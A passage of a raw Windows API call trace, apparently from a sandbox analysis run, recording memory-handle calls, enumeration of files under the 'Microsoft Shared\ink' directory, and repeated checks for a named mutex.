0x440004 [0046.998] GlobalUnlock (hMem=0x440004) returned 0 [0046.998] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.998] GlobalUnlock (hMem=0x44000c) returned 0 [0046.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.998] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.999] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.999] GetLastError () returned 0x12 [0046.999] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.999] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.999] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.999] GlobalUnlock (hMem=0x44000c) returned 0 [0046.999] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.999] GlobalLock (hMem=0x440004) returned 0x553188 [0046.999] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.999] GlobalUnlock (hMem=0x44000c) returned 0 [0046.999] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.999] GlobalUnlock (hMem=0x440004) returned 0 [0046.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.999] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.999] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.999] GlobalLock (hMem=0x440004) returned 0x551178 [0046.999] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.999] GlobalUnlock (hMem=0x440004) returned 0 [0046.999] GlobalLock (hMem=0x440004) returned 0x551178 [0046.999] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.999] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.999] GlobalUnlock (hMem=0x440004) returned 0 [0046.999] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.999] GlobalUnlock (hMem=0x44000c) returned 0 [0046.999] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.999] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.999] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.999] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.000] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.000] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.000] GlobalUnlock (hMem=0x44000c) returned 0 [0047.000] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.000] GlobalLock (hMem=0x440004) returned 0x554190 [0047.000] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.000] GlobalUnlock (hMem=0x44000c) returned 0 [0047.000] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.000] GlobalUnlock (hMem=0x440004) returned 0 [0047.000] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.000] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0047.000] GetLastError () returned 0x12 [0047.000] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.000] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.000] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.000] GlobalLock (hMem=0x440004) returned 0x551178 [0047.000] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.000] GlobalUnlock (hMem=0x440004) returned 0 [0047.000] GlobalLock (hMem=0x440004) returned 0x551178 [0047.000] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.000] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.000] GlobalUnlock (hMem=0x440004) returned 0 [0047.000] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.000] GlobalUnlock (hMem=0x44000c) returned 0 [0047.000] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.000] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0047.000] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.000] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.000] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.000] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.001] GlobalUnlock (hMem=0x44000c) returned 0 [0047.001] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.001] GlobalLock (hMem=0x440004) returned 0x553188 [0047.001] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.001] GlobalUnlock (hMem=0x44000c) returned 0 [0047.001] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.001] GlobalUnlock (hMem=0x440004) returned 0 [0047.001] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.001] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0047.001] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.001] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.001] GlobalLock (hMem=0x440004) returned 0x551178 [0047.001] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.001] GlobalUnlock (hMem=0x440004) returned 0 [0047.001] GlobalLock (hMem=0x440004) returned 0x551178 [0047.001] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.001] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.001] GlobalUnlock (hMem=0x440004) returned 0 [0047.001] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.001] GlobalUnlock (hMem=0x44000c) returned 0 [0047.001] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.001] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0047.001] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.001] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.001] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.001] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.001] GlobalUnlock (hMem=0x44000c) returned 0 [0047.001] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.001] GlobalLock (hMem=0x440004) returned 0x553188 [0047.001] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.001] GlobalUnlock (hMem=0x44000c) returned 0 [0047.001] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.001] GlobalUnlock (hMem=0x440004) returned 0 [0047.002] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.002] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0047.002] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.002] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.002] GlobalLock (hMem=0x440004) returned 0x551178 [0047.002] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.002] GlobalUnlock (hMem=0x440004) returned 0 [0047.002] GlobalLock (hMem=0x440004) returned 0x551178 [0047.002] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.002] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.002] GlobalUnlock (hMem=0x440004) returned 0 [0047.002] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.002] GlobalUnlock (hMem=0x44000c) returned 0 [0047.002] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.002] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0047.002] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.002] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.002] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.002] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.002] GlobalUnlock (hMem=0x44000c) returned 0 [0047.002] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.002] GlobalLock (hMem=0x440004) returned 0x553188 [0047.002] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.002] GlobalUnlock (hMem=0x44000c) returned 0 [0047.002] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.002] GlobalUnlock (hMem=0x440004) returned 0 [0047.002] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.002] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0047.002] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.002] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.002] GlobalLock (hMem=0x440004) returned 0x551178 [0047.002] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.002] GlobalUnlock (hMem=0x440004) returned 0 [0047.002] GlobalLock (hMem=0x440004) returned 0x551178 [0047.003] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.003] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.003] GlobalUnlock (hMem=0x440004) returned 0 [0047.003] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.003] GlobalUnlock (hMem=0x44000c) returned 0 [0047.003] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.003] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0047.003] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.003] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.003] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.003] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.003] GlobalUnlock (hMem=0x44000c) returned 0 [0047.003] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.003] GlobalLock (hMem=0x440004) returned 0x553188 [0047.003] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.003] GlobalUnlock (hMem=0x44000c) returned 0 [0047.003] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.003] GlobalUnlock (hMem=0x440004) returned 0 [0047.003] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.003] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0047.003] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.003] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.003] GlobalLock (hMem=0x440004) returned 0x551178 [0047.003] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.003] GlobalUnlock (hMem=0x440004) returned 0 [0047.003] GlobalLock (hMem=0x440004) returned 0x551178 [0047.003] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.003] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.003] GlobalUnlock (hMem=0x440004) returned 0 [0047.003] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.003] GlobalUnlock (hMem=0x44000c) returned 0 [0047.003] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.003] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0047.003] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.004] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.004] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.004] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.004] GlobalUnlock (hMem=0x44000c) returned 0 [0047.004] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.004] GlobalLock (hMem=0x440004) returned 0x553188 [0047.004] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.004] GlobalUnlock (hMem=0x44000c) returned 0 [0047.004] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.004] GlobalUnlock (hMem=0x440004) returned 0 [0047.004] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.004] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0047.004] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.004] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.004] GlobalLock (hMem=0x440004) returned 0x551178 [0047.004] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.004] GlobalUnlock (hMem=0x440004) returned 0 [0047.004] GlobalLock (hMem=0x440004) returned 0x551178 [0047.004] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.004] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.004] GlobalUnlock (hMem=0x440004) returned 0 [0047.004] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.004] GlobalUnlock (hMem=0x44000c) returned 0 [0047.004] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.004] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0047.004] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.004] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.004] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.004] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.004] GlobalUnlock (hMem=0x44000c) returned 0 [0047.004] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.004] GlobalLock (hMem=0x440004) returned 0x553188 [0047.004] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.004] GlobalUnlock (hMem=0x44000c) returned 0 [0047.005] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.005] GlobalUnlock (hMem=0x440004) returned 0 [0047.005] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.005] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0047.005] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.005] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.005] GlobalLock (hMem=0x440004) returned 0x551178 [0047.005] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.005] GlobalUnlock (hMem=0x440004) returned 0 [0047.005] GlobalLock (hMem=0x440004) returned 0x551178 [0047.005] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.005] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.010] GlobalUnlock (hMem=0x440004) returned 0 [0047.010] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.010] GlobalUnlock (hMem=0x44000c) returned 0 [0047.010] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.011] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0047.011] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.011] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.011] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.011] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.011] GlobalUnlock (hMem=0x44000c) returned 0 [0047.011] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.011] GlobalLock (hMem=0x440004) returned 0x553188 [0047.011] GlobalHandle (pMem=0x551178) returned 0x44000c 